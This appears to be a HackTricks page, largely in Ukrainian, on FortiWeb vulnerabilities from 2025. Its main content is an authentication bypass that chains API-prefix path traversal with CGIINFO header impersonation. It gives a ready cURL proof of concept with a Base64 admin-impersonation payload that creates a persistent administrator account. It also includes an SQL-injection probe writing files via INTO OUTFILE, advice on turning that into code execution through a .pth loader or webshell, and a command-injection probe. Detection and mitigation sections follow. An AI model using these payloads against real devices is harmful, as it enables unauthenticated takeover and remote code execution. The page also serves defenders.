Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Fortinet FortiWeb надає централізований CGI-диспетчер за адресою /cgi-bin/fwbcgi. Комбінація двох багів дозволяє неавторизованому віддаленому нападнику:
- Отримати доступ до
fwbcgi, почавши URL з дійсного API prefix та здійснивши обхід директорій. - Вдавати будь-якого користувача (включно зі вбудованим
admin), надаючи спеціальний HTTP header, якому CGI довіряє як ідентифікації.
Офіційне повідомлення вендора: FG‑IR‑25‑910 (CVE‑2025‑64446). У реальному середовищі зафіксовано експлуатацію вразливості для створення постійних облікових записів admin.
Уразливі версії (згідно з опублікованими даними):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 повертає HTTP 403 для traversal probe, наведеного нижче.
Швидка перевірка вразливості
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Інтерпретація: HTTP 200 → ймовірно вразливий; HTTP 403 → виправлено.
Ланцюжок причин
- API-prefix path traversal to internal CGI
- Будь-який шлях запиту, що починається з дійсного префікса API FortiWeb (наприклад,
/api/v2.0/cmdb/або/api/v2.0/cmd/), може виконати path traversal за допомогою../до/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Після досягнення
fwbcgiперша перевірка виконує помірну JSON-перевірку, ключовану per-path файлом у/var/log/inputcheck/. Якщо файл відсутній, перевірка проходить негайно. Якщо присутній, тілу достатньо бути валідним JSON. Використовуйте{}як мінімальне сумісне тіло.
- Header-driven user impersonation
- Програма читає CGI-змінну середовища
HTTP_CGIINFO(виведену з HTTP-заголовкаCGIINFO), декодує Base64, парсить JSON і копіює атрибути безпосередньо в контекст входу, встановлюючи domain/VDOM. Ключі, що становлять інтерес: username,loginname,vdom,profname- Приклад JSON для impersonate вбудованого admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 наведеного вище (як використовується в реальному середовищі):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end патерн зловживання (без автентифікації → admin)
- Дістатися до
/cgi-bin/fwbcgiчерез API-prefix traversal. - Надати будь-яке валідне JSON тіло (наприклад,
{}), щоб задовольнити перевірку вводу. - Відправити заголовок
CGIINFO: <base64(json)>, де JSON визначає цільову ідентичність. - Виконати POST із backend JSON, який очікує
fwbcgi, щоб виконати привілейовані дії (наприклад, створити admin-користувача для персистентності).
Мінімальний cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Видати себе за admin та створити нового локального admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Примітки:
- Будь-яке дійсне JSON тіло підходить (наприклад,
{}), якщо/var/log/inputcheck/<path>.jsonне існує. - Схема дій внутрішня для FortiWeb; наведений вище приклад додає локального адміністратора з повними привілеями.
Інші вразливості FortiWeb 2025, які варто швидко перевірити
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Вражає версії 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Виправлено у 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Баг:
get_fabric_user_by_token()використовує значенняAuthorization: Bearer <token>безпосередньо в SQL-запиті. Атакуючий підставляє SQL, який виконується від імені користувача MySQL і може записати файли черезSELECT ... INTO OUTFILE, що дає виконання коду (webshell/.pthloader). - Типова поверхня атаки:
/api/fabric/device/status(та інші ендпоінти Fabric Connector) через HTTP/HTTPS на площині управління. - Швидкий тест на SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: записати
.pthу Python site-packages FortiWeb, який імпортуєos;os.system(...)при запуску інтерпретатора, або розмістити CGI у веб-корені. Перезапуск сервісів виконає payload. - Hunting clues: заголовки Authorization, що містять quotes/UNION/SELECT; несподівані файли в
/data/lib/python*/site-packages/або/data/var/waf/html/ROOT/cgi-bin/.
Обхід перевірки підпису FortiCloud SSO (CVE-2025-59719)
- Improper SAML signature verification дозволяє атакуючому підробляти FortiCloud SSO відповіді та увійти як admin без облікових даних.
- Експлуатується лише коли FortiCloud SSO login увімкнено (вмикається автоматично, якщо пристрій було зареєстровано через GUI, якщо тільки не було знято відповідний прапорець).
- Вразливі (за даними PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Виправлено в 8.0.1 / 7.6.5 / 7.4.10.
OS command injection у панелі управління (CVE-2025-58034)
- Вразливі: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Виправлено в 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Практичний probe (не руйнівний): відправити параметр, який містить
;id;до management HTTP endpoint-ів і спостерігати 500 відповіді з виводом команд; негайно блокувати або патчити, якщо помітно будь-який вивід.
Detection
- Запити, що досягають
/cgi-bin/fwbcgiчерез API-префікс шляхи, що містять../(наприклад,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Наявність заголовка
CGIINFOз Base64 JSON, який містить ключіusername/loginname/vdom/profname. - Fabric Connector SQLi: заголовки Authorization, що містять SQL мета-символи; раптові файли в Python site-packages/CGI каталогах; звернення до
/api/fabric/device/statusз інтернет IP. - FortiCloud SSO: неочікувані SAML issuer або audience значення в
/var/log/ssod. - Backend artifacts:
- Per-path файли під
/var/log/inputcheck/(конфігурація gate). - Неочікуване створення admin та зміни конфігурації.
- Швидка валідація: traversal probe повертає 200 (експоновано) vs 403 (заблоковано в виправлених збірках).
Mitigation
- Оновіть до виправлених релізів (приклади: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) згідно з advisory вендора.
- Запатчіть інші вразливості 2025 року: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- До застосування патчів:
- Не експонуйте FortiWeb management plane у ненадійні мережі.
- Додайте reverse-proxy/WAF правила для блокування:
- Шляхів, що починаються з
/api/і містять../cgi-bin/fwbcgi. - Запитів з заголовком
CGIINFO. - Викликів Fabric Connector з SQL мета-символами в
Authorization. - SAML endpoint-ів з інтернету, якщо FortiCloud SSO не використовується.
- Моніторьте та налаштуйте алерти за індикаторами виявлення вище.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


